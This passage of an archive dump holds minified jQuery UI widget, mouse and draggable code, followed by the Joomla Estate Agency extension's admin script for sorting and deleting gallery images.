s(o,this))})),h}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(i,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=e++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),i),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var
e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return
this.element},option:function(e,i){var
s,n,o,a=e;if(0===arguments.length)return
t.widget.extend({},this.options);if("string"==typeof
e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return
void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void
0===this.options[e]?null:this.options[e];a[e]=i}return
this._setOptions(a),this},_setOptions:function(t){var e;for(e in
t)this._setOption(e,t[e]);return
this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var
i,s,n;for(i in
e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return
this._setOptions({disabled:!1})},disable:function(){return
this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var
a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var
s=[],n=this;return
e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join("
")},_untrackClassesElement:function(e){var
i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return
this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return
this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof
s?s:i;var n="string"==typeof
t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return
o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var
n,o=this;"boolean"!=typeof
e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function
r(){return
e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof
a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof
a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var
h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+o.eventNamespace,c=h[2];c?n.on(l,c,r):i.on(l,r)})},_off:function(e,i){i=(i||"").split("
").join(this.eventNamespace+"
")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function
i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var
s=this;return
setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var
n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n
in o)n in i||(i[n]=o[n]);return
this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof
n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof
n?i:n.effect||i:e;n=n||{},"number"==typeof
n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,t.extend(t.expr[":"],{data:t.expr.createPseudo?t.expr.createPseudo(function(e){return
function(i){return!!t.data(i,e)}}):function(e,i,s){return!!t.data(e,s[3])}}),t.fn.scrollParent=function(e){var
i=this.css("position"),s="absolute"===i,n=e?/(auto|scroll|hidden)/:/(auto|scroll)/,o=this.parents().filter(function(){var
e=t(this);return
s&&"static"===e.css("position")?!1:n.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))}).eq(0);return"fixed"!==i&&o.length?o:t(this[0].ownerDocument||document)},t.ui.ie=!!/msie
[\w.]+/.exec(navigator.userAgent.toLowerCase());var
s=!1;t(document).on("mouseup",function(){s=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input,
textarea, button, select,
option",distance:1,delay:0},_mouseInit:function(){var
e=this;this.element.on("mousedown."+this.widgetName,function(t){return
e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void
0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!s){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var
i=this,n=1===e.which,o="string"==typeof
this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return
n&&!o&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return
i._mouseMove(t)},this._mouseUpDelegate=function(t){return
i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),s=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return
this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else
if(!this.ignoreMissingWhich)return
this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete
this._mouseDelayTimer),this.ignoreMissingWhich=!1,s=!1,e.preventDefault()},_mouseDistanceMet:function(t){return
Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return
this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.ui.plugin={add:function(e,i,s){var
n,o=t.ui[e].prototype;for(n in
s)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([i,s[n]])},call:function(t,e,i,s){var
n,o=t.plugins[e];if(o&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;o.length>n;n++)t.options[o[n][0]]&&o[n][1].apply(t.element,i)}},t.ui.safeActiveElement=function(t){var
e;try{e=t.activeElement}catch(i){e=t.body}return
e||(e=t.body),e.nodeName||(e=t.body),e},t.ui.safeBlur=function(e){e&&"body"!==e.nodeName.toLowerCase()&&t(e).trigger("blur")},t.widget("ui.draggable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void
0):(this._removeHandleClassName(),this._mouseDestroy(),void
0)},_mouseCapture:function(e){var i=this.options;return
this.helper||i.disabled||t(e.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(e),this.handle?(this._blurActiveElement(e),this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(e){this.iframeBlocks=this.document.find(e).map(function(){var
e=t(this);return
t("<div>").css("position","absolute").appendTo(e.parent()).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete
this.iframeBlocks)},_blurActiveElement:function(e){var
i=t.ui.safeActiveElement(this.document[0]),s=t(e.target);s.closest(i).length||t.ui.safeBlur(i)},_mouseStart:function(e){var
i=this.options;return
this.helper=this._createHelper(e),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),t.ui.ddmanager&&(t.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===t(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(e),this.originalPosition=this.position=this._generatePosition(e,!1),this.originalPageX=e.pageX,this.originalPageY=e.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",e)===!1?(this._clear(),!1):(this._cacheHelperProportions(),t.ui.ddmanager&&!i.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this._mouseDrag(e,!0),t.ui.ddmanager&&t.ui.ddmanager.dragStart(this,e),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(e,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(e,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var
s=this._uiHash();if(this._trigger("drag",e,s)===!1)return
this._mouseUp(new
t.Event("mouseup",e)),!1;this.position=s.position}return
this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),!1},_mouseStop:function(e){var
i=this,s=!1;return
t.ui.ddmanager&&!this.options.dropBehaviour&&(s=t.ui.ddmanager.drop(this,e)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||t.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?t(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",e)!==!1&&i._clear()}):this._trigger("stop",e)!==!1&&this._clear(),!1},_mouseUp:function(e){return
this._unblockFrames(),t.ui.ddmanager&&t.ui.ddmanager.dragStop(this,e),this.handleElement.is(e.target)&&this.element.trigger("focus"),t.ui.mouse.prototype._mouseUp.call(this,e)},cancel:function(){return
this.helper.is(".ui-draggable-dragging")?this._mouseUp(new
t.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(e){return
this.options.handle?!!t(e.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(e){var
i=this.options,s=t.isFunction(i.helper),n=s?t(i.helper.apply(this.element[0],[e])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return
n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(e){"string"==typeof
e&&(e=e.split("
")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in
e&&(this.offset.click.left=e.left+this.margins.left),"right"in
e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in
e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in
e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var
e=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var
t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var
e,i,s,n=this.options,o=this.document[0];return
this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[t(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,t(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,t(window).scrollLeft()+t(window).width()-this.helperProportions.width-this.margins.left,t(window).scrollTop()+(t(window).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void
0):"document"===n.containment?(this.containment=[0,0,t(o).width()-this.helperProportions.width-this.margins.left,(t(o).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void
0):n.containment.constructor===Array?(this.containment=n.containment,void
0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=t(n.containment),s=i[0],s&&(e=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(e?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void
0):(this.containment=null,void
0)},_convertPositionTo:function(t,e){e||(e=this.position);var
i="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var
i,s,n,o,a=this.options,r=this._isRootNode(this.scrollParent[0]),h=t.pageX,l=t.pageY;return
r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),a.grid&&(n=a.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-a.grid[1]:n+a.grid[1]:n,o=a.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,h=i?o-this.offset.click.left>=i[0]||o-this.offset.click.left>i[2]?o:o-this.offset.click.left>=i[0]?o-a.grid[0]:o+a.grid[0]:o),"y"===a.axis&&(h=this.originalPageX),"x"===a.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(e,i,s){return
s=s||this._uiHash(),t.ui.plugin.call(this,e,[i,s,this],!0),/^(drag|start|stop)/.test(e)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),t.Widget.prototype._trigger.call(this,e,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),t.ui.plugin.add("draggable","connectToSortable",{start:function(e,i,s){var
n=t.extend({},i,{item:s.element});s.sortables=[],t(s.options.connectToSortable).each(function(){var
i=t(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",e,n))})},stop:function(e,i,s){var
n=t.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,t.each(s.sortables,function(){var
t=this;t.isOver?(t.isOver=0,s.cancelHelperRemoval=!0,t.cancelHelperRemoval=!1,t._storedCSS={position:t.placeholder.css("position"),top:t.placeholder.css("top"),left:t.placeholder.css("left")},t._mouseStop(e),t.options.helper=t.options._helper):(t.cancelHelperRemoval=!0,t._trigger("deactivate",e,n))})},drag:function(e,i,s){t.each(s.sortables,function(){var
n=!1,o=this;o.positionAbs=s.positionAbs,o.helperProportions=s.helperProportions,o.offset.click=s.offset.click,o._intersectsWith(o.containerCache)&&(n=!0,t.each(s.sortables,function(){return
this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==o&&this._intersectsWith(this.containerCache)&&t.contains(o.element[0],this.element[0])&&(n=!1),n})),n?(o.isOver||(o.isOver=1,s._parent=i.helper.parent(),o.currentItem=i.helper.appendTo(o.element).data("ui-sortable-item",!0),o.options._helper=o.options.helper,o.options.helper=function(){return
i.helper[0]},e.target=o.currentItem[0],o._mouseCapture(e,!0),o._mouseStart(e,!0,!0),o.offset.click.top=s.offset.click.top,o.offset.click.left=s.offset.click.left,o.offset.parent.left-=s.offset.parent.left-o.offset.parent.left,o.offset.parent.top-=s.offset.parent.top-o.offset.parent.top,s._trigger("toSortable",e),s.dropped=o.element,t.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,o.fromOutside=s),o.currentItem&&(o._mouseDrag(e),i.position=o.position)):o.isOver&&(o.isOver=0,o.cancelHelperRemoval=!0,o.options._revert=o.options.revert,o.options.revert=!1,o._trigger("out",e,o._uiHash(o)),o._mouseStop(e,!0),o.options.revert=o.options._revert,o.options.helper=o.options._helper,o.placeholder&&o.placeholder.remove(),i.helper.appendTo(s._parent),s._refreshOffsets(e),i.position=s._generatePosition(e,!0),s._trigger("fromSortable",e),s.dropped=!1,t.each(s.sortables,function(){this.refreshPositions()}))})}}),t.ui.plugin.add("draggable","cursor",{start:function(e,i,s){var
n=t("body"),o=s.options;n.css("cursor")&&(o._cursor=n.css("cursor")),n.css("cursor",o.cursor)},stop:function(e,i,s){var
n=s.options;n._cursor&&t("body").css("cursor",n._cursor)}}),t.ui.plugin.add("draggable","opacity",{start:function(e,i,s){var
n=t(i.helper),o=s.options;n.css("opacity")&&(o._opacity=n.css("opacity")),n.css("opacity",o.opacity)},stop:function(e,i,s){var
n=s.options;n._opacity&&t(i.helper).css("opacity",n._opacity)}}),t.ui.plugin.add("draggable","scroll",{start:function(t,e,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(e,i,s){var
n=s.options,o=!1,a=s.scrollParentNotHidden[0],r=s.document[0];a!==r&&"HTML"!==a.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+a.offsetHeight-e.pageY<n.scrollSensitivity?a.scrollTop=o=a.scrollTop+n.scrollSpeed:e.pageY-s.overflowOffset.top<n.scrollSensitivity&&(a.scrollTop=o=a.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+a.offsetWidth-e.pageX<n.scrollSensitivity?a.scrollLeft=o=a.scrollLeft+n.scrollSpeed:e.pageX-s.overflowOffset.left<n.scrollSensitivity&&(a.scrollLeft=o=a.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(e.pageY-t(r).scrollTop()<n.scrollSensitivity?o=t(r).scrollTop(t(r).scrollTop()-n.scrollSpeed):t(window).height()-(e.pageY-t(r).scrollTop())<n.scrollSensitivity&&(o=t(r).scrollTop(t(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(e.pageX-t(r).scrollLeft()<n.scrollSensitivity?o=t(r).scrollLeft(t(r).scrollLeft()-n.scrollSpeed):t(window).width()-(e.pageX-t(r).scrollLeft())<n.scrollSensitivity&&(o=t(r).scrollLeft(t(r).scrollLeft()+n.scrollSpeed)))),o!==!1&&t.ui.ddmanager&&!n.dropBehaviour&&t.ui.ddmanager.prepareOffsets(s,e)}}),t.ui.plugin.add("draggable","snap",{start:function(e,i,s){var
n=s.options;s.snapElements=[],t(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var
e=t(this),i=e.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:e.outerWidth(),height:e.outerHeight(),top:i.top,left:i.left})})},drag:function(e,i,s){var
n,o,a,r,h,l,c,u,d,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,_=i.offset.top,b=_+s.helperProportions.height;for(d=s.snapElements.length-1;d>=0;d--)h=s.snapElements[d].left-s.margins.left,l=h+s.snapElements[d].width,c=s.snapElements[d].top-s.margins.top,u=c+s.snapElements[d].height,h-m>v||g>l+m||c-m>b||_>u+m||!t.contains(s.snapElements[d].item.ownerDocument,s.snapElements[d].item)?(s.snapElements[d].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=!1):("inner"!==f.snapMode&&(n=m>=Math.abs(c-b),o=m>=Math.abs(u-_),a=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo("relative",{top:c-s.helperProportions.height,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||o||a||r,"outer"!==f.snapMode&&(n=m>=Math.abs(c-_),o=m>=Math.abs(u-b),a=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo("relative",{top:c,left:0}).top),o&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[d].snapping&&(n||o||a||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,e,t.extend(s._uiHash(),{snapItem:s.snapElements[d].item})),s.snapElements[d].snapping=n||o||a||r||p)}}),t.ui.plugin.add("draggable","stack",{start:function(e,i,s){var
n,o=s.options,a=t.makeArray(t(o.stack)).sort(function(e,i){return(parseInt(t(e).css("zIndex"),10)||0)-(parseInt(t(i).css("zIndex"),10)||0)});a.length&&(n=parseInt(t(a[0]).css("zIndex"),10)||0,t(a).each(function(e){t(this).css("zIndex",n+e)}),this.css("zIndex",n+a.length))}}),t.ui.plugin.add("draggable","zIndex",{start:function(e,i,s){var
n=t(i.helper),o=s.options;n.css("zIndex")&&(o._zIndex=n.css("zIndex")),n.css("zIndex",o.zIndex)},stop:function(e,i,s){var
n=s.options;n._zIndex&&t(i.helper).css("zIndex",n._zIndex)}}),t.ui.draggable});js/admin/gallery.js000064400000002632151165074470010262
0ustar00/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate
 * agency
 * 
 * @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license GNU/GPL, see LICENSE.txt
 */

window.addEvent('domready', function() {
	var sortOptions = {
		transition: Fx.Transitions.Back.easeInOut,
		duration: 700,
		mode: 'vertical',
		onComplete: function() {
			mySort.rearrangeDOM()
		}
	};

	var mySort = new Fx.Sort($$('ul.gallery li'), sortOptions);

	$$('a.delete-img').each(function(item) {
		item.addEvent('click', function() {
		this.getParent('li').destroy();
		mySort = new Fx.Sort($$('ul.gallery li'), sortOptions);
		});
	});

	$$('a.img-move-up').each(function(item) {
		item.addEvent('click', function() {
			var activeLi = this.getParent('li');
			if (activeLi.getPrevious()) {
				mySort.swap(activeLi, activeLi.getPrevious());
			} else if (this.getParent('ul').getChildren().length > 1 )
{
				// Swap with the last element
				mySort.swap(activeLi,
this.getParent('ul').getLast('li'));
			}
		});
	});

	$$('a.img-move-down').each(function(item) {
		item.addEvent('click', function() {
		var activeLi = this.getParent('li');
			if (activeLi.getNext()) {
				mySort.swap(activeLi, activeLi.getNext());
			} else if (this.getParent('ul').getChildren().length > 1 )
{
				// Swap with the first element
				mySort.swap(activeLi,
this.getParent('ul').getFirst('li'));
			}
		});
	});

});
js/admin/gateway.js000064400000007754151165074470010276 0ustar00/**
